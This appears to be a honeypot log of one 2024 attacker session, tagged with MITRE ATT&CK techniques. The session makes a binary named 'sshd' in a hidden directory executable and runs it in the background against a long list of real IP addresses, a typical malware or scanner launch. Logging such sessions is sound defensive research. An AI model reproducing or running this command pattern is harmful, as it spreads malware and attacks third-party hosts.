Honeypot attack session (period 2024), commands issued:
chmod +x ./.4572804929482981987/sshd;nohup ./.4572804929482981987/sshd 140.246.77.210 23.145.168.126 5.250.180.124 59.47.5.34 180.163.61.238 103.145.145.82 208.65.84.84 167.114.114.148 103.242.173.178 181.113.114.115 154.126.176.254 117.66.249.166 104.248.63.189 195.154.163.212 58.216.8.103 36.103.178.190 15.206.79.116 139.9.140.155 107.172.108.61 5.42.73.122 183.131.22.164 5.42.105.40 79.120.74.12 112.4.238.226 117.148.171.16 186.233.119.218 143.198.142.84 43.248.188.103 111.67.195.36 117.169.102.132 159.65.23.206 144.126.132.126 74.48.217.202 101.173.192.99 58.223.177.13 106.116.209.121 5.159.102.148 134.209.0.27 182.151.25.46 27.128.245.170 183.131.186.36 167.86.104.82 23.231.76.210 43.248.185.124 140.249.204.169 36.151.194.14 77.91.84.247 115.238.185.62 77.221.144.22 51.159.17.182 125.124.179.148 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter